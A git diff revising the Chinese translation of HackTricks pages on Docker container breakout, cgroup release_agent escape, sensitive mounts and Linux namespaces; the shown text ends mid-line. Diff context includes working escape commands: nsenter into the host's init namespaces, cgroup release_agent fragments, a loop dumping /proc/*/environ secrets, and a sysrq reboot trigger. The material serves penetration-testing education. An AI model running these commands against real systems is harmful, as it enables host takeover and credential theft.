文件,该文件显示 shell 的 cgroup。然后,通过导航到 **/sys/fs/cgroup**(或 **`/sys/fs/cgroup/unified`**)目录并找到一个与 cgroup 名称相同的目录,可以观察与 cgroup 相关的各种设置和资源使用信息。 -![Cgroup 文件系统](<../../../images/image (1128).png>) +![Cgroup Filesystem](<../../../images/image (1128).png>) cgroups 的关键接口文件以 **cgroup** 为前缀。**cgroup.procs** 文件可以使用标准命令如 cat 查看,列出 cgroup 中的进程。另一个文件 **cgroup.threads** 包含线程信息。 -![Cgroup 进程](<../../../images/image (281).png>) +![Cgroup Procs](<../../../images/image (281).png>) 管理 shell 的 cgroups 通常包含两个控制器,用于调节内存使用和进程数量。要与控制器交互,应参考带有控制器前缀的文件。例如,**pids.current** 将被引用以确定 cgroup 中的线程数量。 -![Cgroup 内存](<../../../images/image (677).png>) +![Cgroup Memory](<../../../images/image (677).png>) 值中 **max** 的指示表明 cgroup 没有特定限制。然而,由于 cgroups 的层次结构,限制可能由目录层次结构中较低级别的 cgroup 强加。 @@ -71,12 +71,12 @@ echo "+cpu +pids" > cgroup.subtree_control ``` **root cgroup** 是这些规则的一个例外,允许直接放置进程。这可以用来将进程从 systemd 管理中移除。 -在 cgroup 中 **监控 CPU 使用情况** 可以通过 `cpu.stat` 文件实现,该文件显示总的 CPU 时间消耗,有助于跟踪服务的子进程的使用情况: +**监控 cgroup 内的 CPU 使用情况** 可以通过 `cpu.stat` 文件实现,该文件显示总的 CPU 时间消耗,有助于跟踪服务的子进程的使用情况:

cpu.stat 文件中显示的 CPU 使用统计信息

## References -- **Book: How Linux Works, 3rd Edition: What Every Superuser Should Know By Brian Ward** +- **书籍:Linux 工作原理,第 3 版:每个超级用户应该知道的内容,作者:Brian Ward** {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/linux-hardening/privilege-escalation/docker-security/docker-breakout-privilege-escalation/README.md b/src/linux-hardening/privilege-escalation/docker-security/docker-breakout-privilege-escalation/README.md index f9096098b..80ecb9344 100644 --- a/src/linux-hardening/privilege-escalation/docker-security/docker-breakout-privilege-escalation/README.md +++ b/src/linux-hardening/privilege-escalation/docker-security/docker-breakout-privilege-escalation/README.md @@ -5,8 +5,8 @@ ## 自动枚举与逃逸 - [**linpeas**](https://github.com/carlospolop/PEASS-ng/tree/master/linPEAS): 它也可以 **枚举容器** -- [**CDK**](https://github.com/cdk-team/CDK#installationdelivery): 这个工具非常 **有用来枚举你所在的容器,甚至尝试自动逃逸** -- [**amicontained**](https://github.com/genuinetools/amicontained): 有用的工具来获取容器的权限,以便找到逃逸的方法 +- [**CDK**](https://github.com/cdk-team/CDK#installationdelivery): 这个工具对于枚举你所在的容器非常 **有用,甚至尝试自动逃逸** +- [**amicontained**](https://github.com/genuinetools/amicontained): 有用的工具,用于获取容器的权限,以便找到逃逸的方法 - [**deepce**](https://github.com/stealthcopter/deepce): 用于枚举和逃逸容器的工具 - [**grype**](https://github.com/anchore/grype): 获取镜像中安装的软件所包含的 CVE @@ -50,7 +50,7 @@ Docker 守护进程也可能 [在端口上监听 (默认 2375, 2376)](../../../. ## 能力滥用逃逸 -您应该检查容器的能力,如果它具有以下任何一种,您可能能够逃离它: **`CAP_SYS_ADMIN`**、**`CAP_SYS_PTRACE`**、**`CAP_SYS_MODULE`**、**`DAC_READ_SEARCH`**、**`DAC_OVERRIDE`、`CAP_SYS_RAWIO`、`CAP_SYSLOG`、`CAP_NET_RAW`、`CAP_NET_ADMIN`** +您应该检查容器的能力,如果它具有以下任何一种,您可能能够逃离它:**`CAP_SYS_ADMIN`**、**`CAP_SYS_PTRACE`**、**`CAP_SYS_MODULE`**、**`DAC_READ_SEARCH`**、**`DAC_OVERRIDE`、`CAP_SYS_RAWIO`、`CAP_SYSLOG`、`CAP_NET_RAW`、`CAP_NET_ADMIN`** 您可以使用 **之前提到的自动工具** 或: ```bash @@ -76,7 +76,7 @@ capsh --print - `--cgroupns=host` - `Mount /dev` -`--privileged` 标志显著降低了容器安全性,提供**无限制的设备访问**并绕过**多个保护**。有关详细信息,请参阅 `--privileged` 的完整影响文档。 +`--privileged` 标志显著降低容器安全性,提供**无限制的设备访问**并绕过**多个保护**。有关详细信息,请参阅 `--privileged` 的完整影响文档。 {{#ref}} ../docker-privileged.md @@ -84,7 +84,7 @@ capsh --print ### 特权 + hostPID -使用这些权限,您可以简单地**移动到作为 root 运行的主机中的进程的命名空间**,例如 init (pid:1),只需运行:`nsenter --target 1 --mount --uts --ipc --net --pid -- bash` +拥有这些权限后,您可以**像 init(pid:1)一样移动到主机上以 root 身份运行的进程的命名空间**,只需运行:`nsenter --target 1 --mount --uts --ipc --net --pid -- bash` 在容器中执行测试: ```bash @@ -92,7 +92,7 @@ docker run --rm -it --pid=host --privileged ubuntu bash ``` ### 特权 -仅凭特权标志,您可以尝试 **访问主机的磁盘** 或尝试 **通过 release_agent 或其他逃逸进行逃逸**。 +仅凭特权标志,您可以尝试 **访问主机的磁盘** 或尝试 **通过释放代理或其他逃逸进行逃逸**。 在容器中执行以下绕过测试: ```bash @@ -168,7 +168,7 @@ sh -c "echo 0 > $d/w/cgroup.procs"; sleep 1 # Reads the output cat /o ``` -#### 特权逃逸 利用创建的 release_agent ([cve-2022-0492](https://unit42.paloaltonetworks.com/cve-2022-0492-cgroups/)) - PoC2 +#### 特权逃逸滥用创建的 release_agent ([cve-2022-0492](https://unit42.paloaltonetworks.com/cve-2022-0492-cgroups/)) - PoC2 ```bash:Second PoC # On the host docker run --rm -it --cap-add=SYS_ADMIN --security-opt apparmor=unconfined ubuntu bash @@ -312,7 +312,7 @@ root 10 2 0 11:25 ? 00:00:00 [ksoftirqd/0] ``` #### 特权逃逸滥用敏感挂载 -有几个文件可能被挂载,这些文件提供了**关于底层主机的信息**。其中一些文件甚至可能指示**当发生某些事情时由主机执行的内容**(这将允许攻击者逃离容器)。\ +有几个文件可能被挂载,这些文件提供了**关于底层主机的信息**。其中一些甚至可能指示**当发生某些事情时由主机执行的内容**(这将允许攻击者逃离容器)。\ 滥用这些文件可能允许: - release_agent(之前已经讨论过) @@ -347,11 +347,7 @@ bash -p #From non priv inside mounted folder ### Privilege Escalation with 2 shells 如果您在**容器内以root身份访问**并且已经**以非特权用户身份逃逸到主机**,您可以利用两个shell来**在主机内进行特权升级**,前提是您在容器内具有MKNOD能力(默认情况下是这样的),如[**在这篇文章中所述**](https://labs.withsecure.com/blog/abusing-the-access-to-mount-namespaces-through-procpidroot/)。\ -拥有这样的能力,容器内的root用户被允许**创建块设备文件**。设备文件是用于**访问底层硬件和内核模块**的特殊文件。例如,/dev/sda块设备文件提供了**读取系统磁盘上原始数据的访问权限**。 - -Docker通过强制执行cgroup策略来防止容器内的块设备滥用,**阻止块设备的读/写操作**。然而,如果在容器内**创建了块设备**,则可以通过**/proc/PID/root/**目录从容器外部访问。此访问要求**进程所有者在容器内外相同**。 - -**利用**示例来自这篇[**文章**](https://radboudinstituteof.pwning.nl/posts/htbunictfquals2021/goodgames/): +拥有这样的能力,容器内的root用户被允许**创建块设备文件**。设备文件是用于**访问底层硬件和内核模块**的特殊文件。例如 ```bash # On the container as root cd / @@ -395,7 +391,7 @@ docker run --rm -it --pid=host ubuntu bash ``` 例如,您将能够使用类似 `ps auxn` 的命令列出进程,并在命令中搜索敏感细节。 -然后,正如您可以 **访问 /proc/ 中主机的每个进程,您可以通过运行以下命令直接窃取它们的环境秘密**: +然后,您可以 **访问 /proc/ 中主机的每个进程,您可以通过运行来窃取它们的环境秘密:** ```bash for e in `ls /proc/*/environ`; do echo; echo $e; xargs -0 -L1 -a $e; done /proc/988058/environ @@ -417,13 +413,13 @@ cat /proc/635813/fd/4 您还可以**终止进程并导致 DoS**。 > [!WARNING] -> 如果您以某种方式拥有**对容器外部进程的特权访问权限**,您可以运行类似 `nsenter --target --all` 或 `nsenter --target --mount --net --pid --cgroup` 的命令,以**在与该进程相同的 ns 限制下运行 shell**(希望没有限制)。 +> 如果您以某种方式拥有**对容器外部进程的特权访问权限**,您可以运行类似 `nsenter --target --all` 或 `nsenter --target --mount --net --pid --cgroup` 的命令,以**在与该进程相同的 ns 限制**(希望没有)下**运行一个 shell**。 ### hostNetwork ``` docker run --rm -it --network=host ubuntu bash ``` -如果一个容器使用 Docker [主机网络驱动程序 (`--network=host`)](https://docs.docker.com/network/host/) 配置,则该容器的网络栈与 Docker 主机不隔离(容器共享主机的网络命名空间),并且容器不会分配自己的 IP 地址。换句话说,**容器将所有服务直接绑定到主机的 IP**。此外,容器可以**拦截主机在共享接口上发送和接收的所有网络流量** `tcpdump -i eth0`。 +如果一个容器使用 Docker [主机网络驱动程序 (`--network=host`)](https://docs.docker.com/network/host/) 配置,那么该容器的网络栈就不会与 Docker 主机隔离(容器共享主机的网络命名空间),并且容器不会分配自己的 IP 地址。换句话说,**容器将所有服务直接绑定到主机的 IP**。此外,容器可以**拦截主机在共享接口上发送和接收的所有网络流量** `tcpdump -i eth0`。 例如,您可以使用此方法**嗅探甚至伪造主机与元数据实例之间的流量**。 @@ -438,14 +434,14 @@ docker run --rm -it --network=host ubuntu bash ```bash docker run --rm -it --ipc=host ubuntu bash ``` -通过设置 `hostIPC=true`,您可以访问主机的进程间通信(IPC)资源,例如 `/dev/shm` 中的 **共享内存**。这允许读取/写入其他主机或 pod 进程使用的相同 IPC 资源。使用 `ipcs` 进一步检查这些 IPC 机制。 +使用 `hostIPC=true`,您可以访问主机的进程间通信(IPC)资源,例如 `/dev/shm` 中的 **共享内存**。这允许读取/写入其他主机或 pod 进程使用的相同 IPC 资源。使用 `ipcs` 进一步检查这些 IPC 机制。 - **检查 /dev/shm** - 查找此共享内存位置中的任何文件: `ls -la /dev/shm` -- **检查现有的 IPC 设施** – 您可以检查是否正在使用任何 IPC 设施,使用 `/usr/bin/ipcs`。检查命令为: `ipcs -a` +- **检查现有 IPC 设施** – 您可以检查是否正在使用任何 IPC 设施,使用 `/usr/bin/ipcs`。检查命令为: `ipcs -a` ### 恢复能力 -如果系统调用 **`unshare`** 没有被禁止,您可以通过运行来恢复所有能力: +如果系统调用 **`unshare`** 没有被禁止,您可以恢复所有能力: ```bash unshare -UrmCpf bash # Check them with @@ -453,13 +449,13 @@ cat /proc/self/status | grep CapEff ``` ### 用户命名空间滥用通过符号链接 -帖子中解释的第二种技术 [https://labs.withsecure.com/blog/abusing-the-access-to-mount-namespaces-through-procpidroot/](https://labs.withsecure.com/blog/abusing-the-access-to-mount-namespaces-through-procpidroot/) 指出如何利用用户命名空间滥用绑定挂载,以影响主机内部的文件(在特定情况下,删除文件)。 +帖子中解释的第二种技术 [https://labs.withsecure.com/blog/abusing-the-access-to-mount-namespaces-through-procpidroot/](https://labs.withsecure.com/blog/abusing-the-access-to-mount-namespaces-through-procpidroot/) 指出如何滥用绑定挂载与用户命名空间,以影响主机内部的文件(在特定情况下,删除文件)。 ## CVEs ### Runc 漏洞 (CVE-2019-5736) -如果您可以以 root 身份执行 `docker exec`(可能使用 sudo),您可以尝试通过利用 CVE-2019-5736 来提升权限(漏洞 [在这里](https://github.com/Frichetten/CVE-2019-5736-PoC/blob/master/main.go))。该技术基本上会 **覆盖** **主机** 的 _**/bin/sh**_ 二进制文件 **从容器中**,因此任何执行 docker exec 的人都可能触发有效载荷。 +如果您可以以 root 身份执行 `docker exec`(可能使用 sudo),您可以尝试通过滥用 CVE-2019-5736 来提升权限(漏洞 [在这里](https://github.com/Frichetten/CVE-2019-5736-PoC/blob/master/main.go))。该技术基本上会 **覆盖** **主机** 的 _**/bin/sh**_ 二进制文件 **从容器中**,因此任何执行 docker exec 的人都可能触发有效载荷。 相应地更改有效载荷,并使用 `go build main.go` 构建 main.go。生成的二进制文件应放置在 docker 容器中以供执行。\ 执行时,一旦显示 `[+] Overwritten /bin/sh successfully`,您需要从主机机器执行以下命令: @@ -468,7 +464,7 @@ cat /proc/self/status | grep CapEff 这将触发 main.go 文件中存在的有效载荷。 -更多信息: [https://blog.dragonsector.pl/2019/02/cve-2019-5736-escape-from-docker-and.html](https://blog.dragonsector.pl/2019/02/cve-2019-5736-escape-from-docker-and.html) +更多信息请参见:[https://blog.dragonsector.pl/2019/02/cve-2019-5736-escape-from-docker-and.html](https://blog.dragonsector.pl/2019/02/cve-2019-5736-escape-from-docker-and.html) > [!NOTE] > 容器可能还会受到其他 CVE 的影响,您可以在 [https://0xn3va.gitbook.io/cheat-sheets/container/escaping/cve-list](https://0xn3va.gitbook.io/cheat-sheets/container/escaping/cve-list) 找到列表。 @@ -477,7 +473,7 @@ cat /proc/self/status | grep CapEff ### Docker 逃逸表面 -- **命名空间:** 进程应该通过命名空间与其他进程 **完全隔离**,因此我们无法通过命名空间与其他进程交互(默认情况下无法通过 IPC、Unix 套接字、网络服务、D-Bus、其他进程的 `/proc` 进行通信)。 +- **命名空间**:进程应该通过命名空间与其他进程 **完全隔离**,因此我们无法通过命名空间与其他进程交互(默认情况下无法通过 IPC、unix 套接字、网络服务、D-Bus、其他进程的 `/proc` 进行通信)。 - **根用户**:默认情况下,运行进程的用户是根用户(但其权限是有限的)。 - **能力**:Docker 保留以下能力:`cap_chown,cap_dac_override,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,cap_net_bind_service,cap_net_raw,cap_sys_chroot,cap_mknod,cap_audit_write,cap_setfcap=ep` - **系统调用**:这些是 **根用户无法调用** 的系统调用(因为缺乏能力 + Seccomp)。其他系统调用可以用来尝试逃逸。 diff --git a/src/linux-hardening/privilege-escalation/docker-security/docker-breakout-privilege-escalation/docker-release_agent-cgroups-escape.md b/src/linux-hardening/privilege-escalation/docker-security/docker-breakout-privilege-escalation/docker-release_agent-cgroups-escape.md index 12b1a2bee..e62e592bc 100644 --- a/src/linux-hardening/privilege-escalation/docker-security/docker-breakout-privilege-escalation/docker-release_agent-cgroups-escape.md +++ b/src/linux-hardening/privilege-escalation/docker-security/docker-breakout-privilege-escalation/docker-release_agent-cgroups-escape.md @@ -41,8 +41,8 @@ echo "ps aux > $host_path/output" >> /cmd chmod a+x /cmd ``` 5. **触发攻击:** -- 在 "x" 子 cgroup 内启动一个进程,并立即终止。 -- 这会触发 `release_agent`(/cmd 脚本),该脚本在主机上执行 ps aux 并将输出写入容器内的 /output。 +- 在 "x" 子 cgroup 中启动一个进程,并立即终止。 +- 这会触发 `release_agent`(/cmd 脚本),该脚本在主机上执行 ps aux 并将输出写入容器中的 /output。 ```shell sh -c "echo \$\$ > /tmp/cgrp/x/cgroup.procs" ``` diff --git a/src/linux-hardening/privilege-escalation/docker-security/docker-breakout-privilege-escalation/sensitive-mounts.md b/src/linux-hardening/privilege-escalation/docker-security/docker-breakout-privilege-escalation/sensitive-mounts.md index aca2efa0b..c67e2275f 100644 --- a/src/linux-hardening/privilege-escalation/docker-security/docker-breakout-privilege-escalation/sensitive-mounts.md +++ b/src/linux-hardening/privilege-escalation/docker-security/docker-breakout-privilege-escalation/sensitive-mounts.md @@ -53,7 +53,7 @@ ls -l $(cat /proc/sys/kernel/modprobe) # 检查对 modprobe 的访问 - [Poor man's rootkit via binfmt_misc](https://github.com/toffan/binfmt_misc) - 深入教程:[视频链接](https://www.youtube.com/watch?v=WBC7hhgMvQQ) -### `/proc` 中的其他内容 +### 其他 `/proc` 中的内容 #### **`/proc/config.gz`** @@ -77,7 +77,7 @@ echo b > /proc/sysrq-trigger # 重启主机 #### **`/proc/kallsyms`** - 列出内核导出的符号及其地址。 -- 对于内核利用开发至关重要,特别是克服 KASLR。 +- 对于内核利用开发至关重要,尤其是在克服 KASLR 时。 - 地址信息在 `kptr_restrict` 设置为 `1` 或 `2` 时受到限制。 - 详细信息见 [proc(5)](https://man7.org/linux/man-pages/man5/proc.5.html)。 @@ -162,7 +162,7 @@ cat /output %%% #### **`/sys/kernel/debug`** -- `debugfs` 提供了一个“无规则”的内核调试接口。 +- `debugfs` 提供了一个“无规则”的调试接口给内核。 - 由于其不受限制的特性,历史上存在安全问题。 ### 参考文献 diff --git a/src/linux-hardening/privilege-escalation/docker-security/docker-privileged.md b/src/linux-hardening/privilege-escalation/docker-security/docker-privileged.md index bf4c7a21f..33b01cd73 100644 --- a/src/linux-hardening/privilege-escalation/docker-security/docker-privileged.md +++ b/src/linux-hardening/privilege-escalation/docker-security/docker-privileged.md @@ -4,11 +4,11 @@ ## 影响 -当你以特权模式运行容器时,你正在禁用以下保护: +当您以特权模式运行容器时,您正在禁用以下保护: ### 挂载 /dev -在特权容器中,所有的 **设备可以在 `/dev/` 中访问**。因此,你可以通过 **挂载** 主机的磁盘来 **逃逸**。 +在特权容器中,所有的 **设备可以在 `/dev/` 中访问**。因此,您可以通过 **挂载** 主机的磁盘来 **逃逸**。 {{#tabs}} {{#tab name="Inside default container"}} @@ -20,7 +20,7 @@ core full null pts shm stdin tty zero ``` {{#endtab}} -{{#tab name="内部特权容器"}} +{{#tab name="Inside Privileged Container"}} ```bash # docker run --rm --privileged -it alpine sh ls /dev @@ -102,7 +102,7 @@ Bounding set =cap_chown,cap_dac_override,cap_fowner,cap_fsetid,cap_kill,cap_setg ``` {{#endtab}} -{{#tab name="Inside Privileged Container"}} +{{#tab name="内部特权容器"}} ```bash # docker run --rm --privileged -it alpine sh apk add -U libcap; capsh --print @@ -114,11 +114,11 @@ Bounding set =cap_chown,cap_dac_override,cap_dac_read_search,cap_fowner,cap_fset {{#endtab}} {{#endtabs}} -您可以通过使用 `--cap-add` 和 `--cap-drop` 标志来操控容器可用的能力,而无需以 `--privileged` 模式运行。 +您可以通过使用 `--cap-add` 和 `--cap-drop` 标志来操纵容器可用的能力,而无需以 `--privileged` 模式运行。 ### Seccomp -**Seccomp** 对于 **限制** 容器可以调用的 **syscalls** 非常有用。默认情况下,在运行 docker 容器时启用默认的 seccomp 配置文件,但在特权模式下它是禁用的。有关 Seccomp 的更多信息,请查看: +**Seccomp** 对于 **限制** 容器可以调用的 **syscalls** 非常有用。默认情况下,在运行 docker 容器时启用默认的 seccomp 配置文件,但在特权模式下它是禁用的。有关 Seccomp 的更多信息,请访问: {{#ref}} seccomp.md @@ -134,7 +134,7 @@ Seccomp_filters: 1 ``` {{#endtab}} -{{#tab name="Inside Privileged Container"}} +{{#tab name="内部特权容器"}} ```bash # docker run --rm --privileged -it alpine sh grep Seccomp /proc/1/status diff --git a/src/linux-hardening/privilege-escalation/docker-security/namespaces/README.md b/src/linux-hardening/privilege-escalation/docker-security/namespaces/README.md index 27bf84e87..6df879add 100644 --- a/src/linux-hardening/privilege-escalation/docker-security/namespaces/README.md +++ b/src/linux-hardening/privilege-escalation/docker-security/namespaces/README.md @@ -1,44 +1,44 @@ -# 名称空间 +# Namespaces {{#include ../../../../banners/hacktricks-training.md}} -### **PID 名称空间** +### **PID namespace** {{#ref}} pid-namespace.md {{#endref}} -### **挂载名称空间** +### **Mount namespace** {{#ref}} mount-namespace.md {{#endref}} -### **网络名称空间** +### **Network namespace** {{#ref}} network-namespace.md {{#endref}} -### **IPC 名称空间** +### **IPC Namespace** {{#ref}} ipc-namespace.md {{#endref}} -### **UTS 名称空间** +### **UTS namespace** {{#ref}} uts-namespace.md {{#endref}} -### 时间名称空间 +### Time Namespace {{#ref}} time-namespace.md {{#endref}} -### 用户名称空间 +### User namespace {{#ref}} user-namespace.md diff --git a/src/linux-hardening/privilege-escalation/docker-security/namespaces/cgroup-namespace.md b/src/linux-hardening/privilege-escalation/docker-security/namespaces/cgroup-namespace.md index 5d81705ba..d22a7bc75 100644 --- a/src/linux-hardening/privilege-escalation/docker-security/namespaces/cgroup-namespace.md +++ b/src/linux-hardening/privilege-escalation/docker-security/namespaces/cgroup-namespace.md @@ -4,14 +4,14 @@ ## 基本信息 -cgroup 命名空间是一个 Linux 内核特性,提供 **在命名空间内运行的进程的 cgroup 层次结构的隔离**。Cgroups,简称 **控制组**,是一个内核特性,允许将进程组织成层次组,以管理和强制 **系统资源的限制**,如 CPU、内存和 I/O。 +cgroup 命名空间是一个 Linux 内核特性,提供 **对在命名空间内运行的进程的 cgroup 层次结构的隔离**。Cgroups,简称 **控制组**,是一个内核特性,允许将进程组织成层次组,以管理和强制 **系统资源的限制**,如 CPU、内存和 I/O。 虽然 cgroup 命名空间不是我们之前讨论的其他命名空间类型(PID、挂载、网络等),但它们与命名空间隔离的概念相关。**Cgroup 命名空间虚拟化了 cgroup 层次结构的视图**,因此在 cgroup 命名空间内运行的进程与在主机或其他命名空间中运行的进程相比,具有不同的层次结构视图。 ### 工作原理: -1. 当创建一个新的 cgroup 命名空间时,**它以创建进程的 cgroup 为基础,开始查看 cgroup 层次结构**。这意味着在新的 cgroup 命名空间中运行的进程将仅看到整个 cgroup 层次结构的一个子集,限制在以创建进程的 cgroup 为根的 cgroup 子树内。 -2. 在 cgroup 命名空间内的进程将 **将自己的 cgroup 视为层次结构的根**。这意味着,从命名空间内进程的角度来看,它们自己的 cgroup 显示为根,并且它们无法看到或访问其自身子树之外的 cgroups。 +1. 当创建一个新的 cgroup 命名空间时,**它以创建进程的 cgroup 为基础,开始查看 cgroup 层次结构**。这意味着在新的 cgroup 命名空间中运行的进程只会看到整个 cgroup 层次结构的一个子集,限制在以创建进程的 cgroup 为根的 cgroup 子树内。 +2. 在 cgroup 命名空间内的进程将 **将自己的 cgroup 视为层次结构的根**。这意味着,从命名空间内进程的角度来看,它们自己的 cgroup 显示为根,并且它们无法看到或访问其自身子树之外的 cgroup。 3. Cgroup 命名空间并不直接提供资源的隔离;**它们仅提供 cgroup 层次结构视图的隔离**。**资源控制和隔离仍然由 cgroup** 子系统(例如,cpu、内存等)本身强制执行。 有关 CGroups 的更多信息,请查看: @@ -36,7 +36,7 @@ sudo unshare -C [--mount-proc] /bin/bash 当 `unshare` 在没有 `-f` 选项的情况下执行时,由于 Linux 处理新的 PID(进程 ID)命名空间的方式,会遇到错误。关键细节和解决方案如下: -1. **问题解释**: +1. **问题说明**: - Linux 内核允许进程使用 `unshare` 系统调用创建新的命名空间。然而,启动新 PID 命名空间创建的进程(称为“unshare”进程)并不会进入新的命名空间;只有它的子进程会进入。 - 运行 `%unshare -p /bin/bash%` 会在与 `unshare` 相同的进程中启动 `/bin/bash`。因此,`/bin/bash` 及其子进程位于原始 PID 命名空间中。 @@ -48,9 +48,9 @@ sudo unshare -C [--mount-proc] /bin/bash 3. **解决方案**: - 通过在 `unshare` 中使用 `-f` 选项可以解决此问题。此选项使 `unshare` 在创建新的 PID 命名空间后分叉一个新进程。 -- 执行 `%unshare -fp /bin/bash%` 确保 `unshare` 命令本身在新命名空间中成为 PID 1。然后,`/bin/bash` 及其子进程安全地包含在这个新命名空间中,防止 PID 1 提前退出,并允许正常的 PID 分配。 +- 执行 `%unshare -fp /bin/bash%` 确保 `unshare` 命令本身在新命名空间中成为 PID 1。`/bin/bash` 及其子进程随后安全地包含在这个新命名空间中,防止 PID 1 提前退出,并允许正常的 PID 分配。 -通过确保 `unshare` 以 `-f` 标志运行,新的 PID 命名空间得以正确维护,使得 `/bin/bash` 及其子进程能够正常运行,而不会遇到内存分配错误。 +通过确保 `unshare` 以 `-f` 标志运行,新的 PID 命名空间得以正确维护,允许 `/bin/bash` 及其子进程在不遇到内存分配错误的情况下运行。 @@ -73,7 +73,7 @@ sudo find /proc -maxdepth 3 -type l -name cgroup -exec ls -l {} \; 2>/dev/null ```bash nsenter -C TARGET_PID --pid /bin/bash ``` -此外,您只能**以 root 身份进入另一个进程命名空间**。并且您**不能**在没有指向它的**描述符**的情况下**进入**其他命名空间(如 `/proc/self/ns/cgroup`)。 +此外,您只能在**根用户**下**进入另一个进程命名空间**。并且您**不能**在没有指向它的**描述符**的情况下**进入**其他命名空间(例如 `/proc/self/ns/cgroup`)。 ## 参考 diff --git a/src/linux-hardening/privilege-escalation/docker-security/namespaces/ipc-namespace.md b/src/linux-hardening/privilege-escalation/docker-security/namespaces/ipc-namespace.md index 57de563fc..d261b7d63 100644 --- a/src/linux-hardening/privilege-escalation/docker-security/namespaces/ipc-namespace.md +++ b/src/linux-hardening/privilege-escalation/docker-security/namespaces/ipc-namespace.md @@ -4,7 +4,7 @@ ## 基本信息 -IPC(进程间通信)命名空间是一个Linux内核特性,提供**隔离**System V IPC对象,如消息队列、共享内存段和信号量。此隔离确保**不同IPC命名空间中的进程无法直接访问或修改彼此的IPC对象**,为进程组之间提供额外的安全性和隐私保护。 +IPC(进程间通信)命名空间是一个Linux内核特性,提供**隔离**System V IPC对象,如消息队列、共享内存段和信号量。这种隔离确保**不同IPC命名空间中的进程无法直接访问或修改彼此的IPC对象**,为进程组之间提供额外的安全性和隐私保护。 ### 工作原理: @@ -20,7 +20,7 @@ IPC(进程间通信)命名空间是一个Linux内核特性,提供**隔离* ```bash sudo unshare -i [--mount-proc] /bin/bash ``` -通过挂载新的 `/proc` 文件系统实例,如果使用参数 `--mount-proc`,您可以确保新的挂载命名空间具有 **特定于该命名空间的进程信息的准确和隔离的视图**。 +通过挂载新的 `/proc` 文件系统,如果使用参数 `--mount-proc`,您可以确保新的挂载命名空间具有 **特定于该命名空间的进程信息的准确和隔离的视图**。
@@ -36,13 +36,13 @@ sudo unshare -i [--mount-proc] /bin/bash 2. **后果**: -- 新命名空间中 PID 1 的退出导致 `PIDNS_HASH_ADDING` 标志的清理。这导致 `alloc_pid` 函数在创建新进程时无法分配新的 PID,从而产生 "无法分配内存" 错误。 +- 新命名空间中 PID 1 的退出导致 `PIDNS_HASH_ADDING` 标志的清理。这导致 `alloc_pid` 函数在创建新进程时无法分配新的 PID,从而产生 "无法分配内存" 的错误。 3. **解决方案**: - 通过在 `unshare` 中使用 `-f` 选项可以解决此问题。此选项使 `unshare` 在创建新的 PID 命名空间后分叉一个新进程。 - 执行 `%unshare -fp /bin/bash%` 确保 `unshare` 命令本身在新命名空间中成为 PID 1。然后,`/bin/bash` 及其子进程安全地包含在这个新命名空间中,防止 PID 1 提前退出,并允许正常的 PID 分配。 -通过确保 `unshare` 以 `-f` 标志运行,新的 PID 命名空间得以正确维护,使得 `/bin/bash` 及其子进程能够正常运行,而不会遇到内存分配错误。 +通过确保 `unshare` 以 `-f` 标志运行,新的 PID 命名空间得以正确维护,使得 `/bin/bash` 及其子进程能够正常运行而不会遇到内存分配错误。
@@ -65,7 +65,7 @@ sudo find /proc -maxdepth 3 -type l -name ipc -exec ls -l {} \; 2>/dev/null | g ```bash nsenter -i TARGET_PID --pid /bin/bash ``` -此外,您只能**以 root 身份进入另一个进程命名空间**。并且您**不能**在没有指向它的**描述符**的情况下**进入**其他命名空间(例如 `/proc/self/ns/net`)。 +此外,您只能**以 root 身份进入另一个进程命名空间**。并且您**不能**在没有指向它的描述符的情况下**进入**其他命名空间(例如 `/proc/self/ns/net`)。 ### 创建 IPC 对象 ```bash diff --git a/src/linux-hardening/privilege-escalation/docker-security/namespaces/mount-namespace.md b/src/linux-hardening/privilege-escalation/docker-security/namespaces/mount-namespace.md index 070481659..9d3632451 100644 --- a/src/linux-hardening/privilege-escalation/docker-security/namespaces/mount-namespace.md +++ b/src/linux-hardening/privilege-escalation/docker-security/namespaces/mount-namespace.md @@ -4,15 +4,15 @@ ## 基本信息 -挂载命名空间是一个Linux内核特性,提供了一个进程组所看到的文件系统挂载点的隔离。每个挂载命名空间都有自己的一组文件系统挂载点,**对一个命名空间中挂载点的更改不会影响其他命名空间**。这意味着在不同挂载命名空间中运行的进程可以对文件系统层次结构有不同的视图。 +挂载命名空间是一个Linux内核特性,它提供了一个进程组所看到的文件系统挂载点的隔离。每个挂载命名空间都有自己的一组文件系统挂载点,**对一个命名空间中挂载点的更改不会影响其他命名空间**。这意味着在不同挂载命名空间中运行的进程可以对文件系统层次结构有不同的视图。 -挂载命名空间在容器化中特别有用,每个容器应该有自己的文件系统和配置,与其他容器和主机系统隔离。 +挂载命名空间在容器化中特别有用,其中每个容器应该有自己的文件系统和配置,与其他容器和主机系统隔离。 ### 工作原理: -1. 当创建一个新的挂载命名空间时,它会用**来自其父命名空间的挂载点的副本**进行初始化。这意味着在创建时,新的命名空间与其父命名空间共享相同的文件系统视图。然而,命名空间内对挂载点的任何后续更改不会影响父命名空间或其他命名空间。 +1. 当创建一个新的挂载命名空间时,它会用**来自其父命名空间的挂载点的副本**进行初始化。这意味着在创建时,新的命名空间与其父命名空间共享相同的文件系统视图。然而,命名空间内的任何后续挂载点更改将不会影响父命名空间或其他命名空间。 2. 当一个进程在其命名空间内修改挂载点,例如挂载或卸载文件系统时,**更改仅限于该命名空间**,不会影响其他命名空间。这允许每个命名空间拥有自己的独立文件系统层次结构。 -3. 进程可以使用`setns()`系统调用在命名空间之间移动,或使用带有`CLONE_NEWNS`标志的`unshare()`或`clone()`系统调用创建新的命名空间。当一个进程移动到一个新的命名空间或创建一个时,它将开始使用与该命名空间关联的挂载点。 +3. 进程可以使用`setns()`系统调用在命名空间之间移动,或使用带有`CLONE_NEWNS`标志的`unshare()`或`clone()`系统调用创建新的命名空间。当一个进程移动到一个新的命名空间或创建一个新的命名空间时,它将开始使用与该命名空间关联的挂载点。 4. **文件描述符和inode在命名空间之间是共享的**,这意味着如果一个命名空间中的进程有一个指向文件的打开文件描述符,它可以**将该文件描述符传递**给另一个命名空间中的进程,**两个进程将访问同一个文件**。然而,由于挂载点的差异,文件的路径在两个命名空间中可能并不相同。 ## 实验: @@ -43,9 +43,9 @@ sudo unshare -m [--mount-proc] /bin/bash 3. **解决方案**: - 通过在 `unshare` 中使用 `-f` 选项可以解决此问题。此选项使 `unshare` 在创建新的 PID 命名空间后分叉一个新进程。 -- 执行 `%unshare -fp /bin/bash%` 确保 `unshare` 命令本身在新命名空间中成为 PID 1。然后,`/bin/bash` 及其子进程安全地包含在这个新命名空间中,防止 PID 1 提前退出,并允许正常的 PID 分配。 +- 执行 